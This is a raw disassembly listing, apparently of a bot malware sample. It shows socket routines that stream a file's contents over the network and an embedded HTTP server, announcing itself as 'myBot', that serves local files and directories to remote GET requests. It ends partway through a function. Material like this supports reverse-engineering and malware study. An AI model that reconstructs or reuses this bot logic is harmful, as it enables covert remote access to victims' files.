byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao
dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h
dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h
dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h
dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h
dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh
dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah
dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h
dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh
dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h
dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh
dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh
dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch
dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch
dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh
dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h
dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h
dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh
dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h
dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h
dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h
dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh
dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh
dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h
dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh
dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch
dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h
dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h
dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h
dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh
dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h
dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h
dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah
dd 0C2C95B5Eh
db 4, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
nop
call near ptr 71AB41DAh
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
push dword ptr [ebp+8]
mov dword_4CDCC8, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CDCC8
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40F036
push dword_4CDCC8
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F036: ; CODE XREF: ___:0040F01Ej
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
call near ptr 2650000h
nop
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41B4C2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F0D2
test byte ptr [esi+0Ch], 10h
jnz short loc_40F0B6
push edi
mov edi, 400h
loc_40F07E: ; CODE XREF: ___:0040F0B3j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41B11A
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CDCC8
call near ptr 71AB1AF4h
nop
push 1
nop
call near ptr 2650E43h
test byte ptr [esi+0Ch], 10h
jz short loc_40F07E
pop edi
loc_40F0B6: ; CODE XREF: ___:0040F076j
push esi
call sub_41B05B
pop ecx
push dword_4CDCC8
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
push 1
pop eax
loc_40F0D2: ; CODE XREF: ___:0040F070j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o
; sub_40BACD+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41B590
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CAF74
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40F4C0
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43DEBC[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
push 7FFFFFFFh
push edi
call dword_4CAF9C
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CB010
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CAF5C
cmp eax, 0FFFFFFFFh
jz loc_40F4BB
xor esi, esi
mov [ebp+var_4], esi
loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CAE60
test eax, eax
jz loc_40F4A6
cmp esi, [ebp+var_C]
jnz short loc_40F264
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CB008
cmp eax, 0FFFFFFFFh
jz loc_40F4A6
xor ecx, ecx
test ebx, ebx
jbe short loc_40F236
lea edx, [ebp+var_134]
loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj
cmp [edx], eax
jz short loc_40F236
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40F22A
loc_40F236: ; CODE XREF: sub_40F0D5+14Dj
; sub_40F0D5+157j
cmp ecx, ebx
jnz short loc_40F253
cmp ebx, 40h
jnb short loc_40F253
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40F253: ; CODE XREF: sub_40F0D5+163j
; sub_40F0D5+168j
cmp eax, [ebp+var_8]
jbe loc_40F4A6
mov [ebp+var_8], eax
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F264: ; CODE XREF: sub_40F0D5+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41B590
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CAF8C
test eax, eax
jg short loc_40F2F7
push esi
call dword_4CB00C
xor ecx, ecx
test ebx, ebx
jbe loc_40F4A6
lea eax, [ebp+var_134]
loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj
cmp [eax], esi
jz short loc_40F2C7
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F2B6
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F2EB
lea eax, [ebp+ecx*4+var_134]
loc_40F2D5: ; CODE XREF: sub_40F0D5+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F2D5
loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41B590
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jbe loc_40F4A6
loc_40F325: ; CODE XREF: sub_40F0D5+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40F3CA
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_40F39E
lea eax, [ebp+var_18F0]
push eax
call sub_41AFE0
cmp eax, 5
pop ecx
jbe short loc_40F39E
mov eax, offset asc_42CA2C ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41C0F4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41BEB0
add esp, 10h
jmp short loc_40F3B5
; ---------------------------------------------------------------------------
loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj
; sub_40F0D5+291j
lea eax, [ebp+var_18F0]
push offset asc_43381C ; "\r\n"
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40F3E9
loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40F3CA: ; CODE XREF: sub_40F0D5+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41AFE0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40F325
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40F433
lea eax, [ebp+var_134]
loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40F406
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F3F5
jmp short loc_40F436
; ---------------------------------------------------------------------------
loc_40F406: ; CODE XREF: sub_40F0D5+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F42A
lea eax, [ebp+ecx*4+var_134]
loc_40F414: ; CODE XREF: sub_40F0D5+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F414
loc_40F42A: ; CODE XREF: sub_40F0D5+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40F436
; ---------------------------------------------------------------------------
loc_40F433: ; CODE XREF: sub_40F0D5+318j
mov esi, [ebp+var_4]
loc_40F436: ; CODE XREF: sub_40F0D5+32Fj
; sub_40F0D5+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40F49F
lea eax, [ebp+var_360]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40F49F
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CB010
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40F6B3
add esp, 14h
jmp short loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F49F: ; CODE XREF: sub_40F0D5+369j
; sub_40F0D5+38Fj
push esi
call dword_4CB00C
loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj
; sub_40F0D5+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40F1E2
jmp loc_40F1AC
; ---------------------------------------------------------------------------
loc_40F4BB: ; CODE XREF: sub_40F0D5+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj
; sub_40F0D5+92j ...
call dword_4CAF08
push eax
lea eax, [ebp+var_8F0]
push offset unk_4337F4
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F506
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409A72
add esp, 14h
loc_40F506: ; CODE XREF: sub_40F0D5+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_254]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26C0000h
pop edi
pop esi
pop ebx
sub_40F0D5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41BB20
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41B886
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40F596
push offset aTextHtml ; "text/html"
jmp short loc_40F59B
; ---------------------------------------------------------------------------
loc_40F596: ; CODE XREF: sub_40F530+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40F59B: ; CODE XREF: sub_40F530+64j
lea eax, [ebp+var_9C]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 2710000h
nop
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 270154Eh
nop
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40F614
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 24h
jmp short loc_40F635
; ---------------------------------------------------------------------------
loc_40F614: ; CODE XREF: sub_40F530+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 28h
loc_40F635: ; CODE XREF: sub_40F530+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CAFC4
cmp [ebp+var_A4], edi
jnz short loc_40F675
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40FFF0
pop ecx
pop ecx
jmp short loc_40F692
; ---------------------------------------------------------------------------
loc_40F675: ; CODE XREF: sub_40F530+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40F96A
add esp, 10h
loc_40F692: ; CODE XREF: sub_40F530+143j
push [ebp+var_44C]
call dword_4CB00C
push [ebp+var_B4]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26C0000h
pop edi
pop esi
sub_40F530 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41B590
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40F6E9
push eax
push offset aS_3 ; "\\%s"
jmp short loc_40F6F2
; ---------------------------------------------------------------------------
loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40F6F2: ; CODE XREF: sub_40F6B3+34j
lea eax, [ebp+var_10C]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_40F78D
mov [ebp+arg_8], 2
loc_40F71D: ; CODE XREF: sub_40F6B3+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41AFE0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40F75D
cmp [ebp+esi+var_10C], 25h
jnz short loc_40F75D
cmp [ebp+esi+var_10B], 32h
jnz short loc_40F75D
cmp [ebp+esi+var_10A], 30h
jnz short loc_40F75D
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40F777
; ---------------------------------------------------------------------------
loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj
; sub_40F6B3+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40F76D
push 5Ch
pop eax
jmp short loc_40F770
; ---------------------------------------------------------------------------
loc_40F76D: ; CODE XREF: sub_40F6B3+B3j
movsx eax, al
loc_40F770: ; CODE XREF: sub_40F6B3+B8j
mov [ebp+ebx+var_210], al
loc_40F777: ; CODE XREF: sub_40F6B3+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_40F71D
loc_40F78D: ; CODE XREF: sub_40F6B3+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_4293C4
push eax
call sub_41B886
lea eax, [ebp+var_314]
push offset asc_429998 ; "\n"
push eax
call sub_41C0F4
add esp, 18h
lea eax, [ebp+var_314]
push eax
nop
call near ptr 2660E71h
push 1
cmp eax, 10h
pop esi
jz short loc_40F7DE
cmp eax, 0FFFFFFFFh
jnz short loc_40F7E1
push [ebp+arg_0]
jmp loc_40F861
; ---------------------------------------------------------------------------
loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj
mov [ebp+var_4], esi
loc_40F7E1: ; CODE XREF: sub_40F6B3+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40F7EE
mov [ebp+var_4], esi
loc_40F7EE: ; CODE XREF: sub_40F6B3+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40F86C
cmp [ebp+arg_C], edi
jz short loc_40F860
lea eax, [ebp+var_314]
push offset asc_433AA8 ; "*"
push eax
call sub_41BEC0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
lea eax, [ebp+var_210]
push eax
call sub_4100AD
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41B886
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_40F8BB
; ---------------------------------------------------------------------------
loc_40F860: ; CODE XREF: sub_40F6B3+152j
push ebx
loc_40F861: ; CODE XREF: sub_40F6B3+126j
call dword_4CB00C
jmp loc_40F963
; ---------------------------------------------------------------------------
loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 26E0921h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F8BB
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call near ptr 2710A52h
nop
push esi
mov [ebp+var_330], eax
nop
call near ptr 26408F3h
loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj
; sub_40F6B3+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_433A74
push eax
call sub_41B886
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B0F6
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43DEB4[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40F530
push edi
push edi
call near ptr 2660000h
nop
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43DEC4[ecx], eax
jz short loc_40F935
loc_40F923: ; CODE XREF: sub_40F6B3+280j
cmp [ebp+var_318], edi
jnz short loc_40F963
push 5
nop
call near ptr 2650E43h
jmp short loc_40F923
; ---------------------------------------------------------------------------
loc_40F935: ; CODE XREF: sub_40F6B3+26Ej
push ebx
call dword_4CB00C
nop
call near ptr 2660A00h
push eax
lea eax, [ebp+var_8C4]
push offset unk_433A3C
push eax
call sub_41B886
lea eax, [ebp+var_8C4]
push eax
call sub_4151AC
add esp, 10h
loc_40F963: ; CODE XREF: sub_40F6B3+1B4j
; sub_40F6B3+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F6B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap
; sub_40F530+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41B590
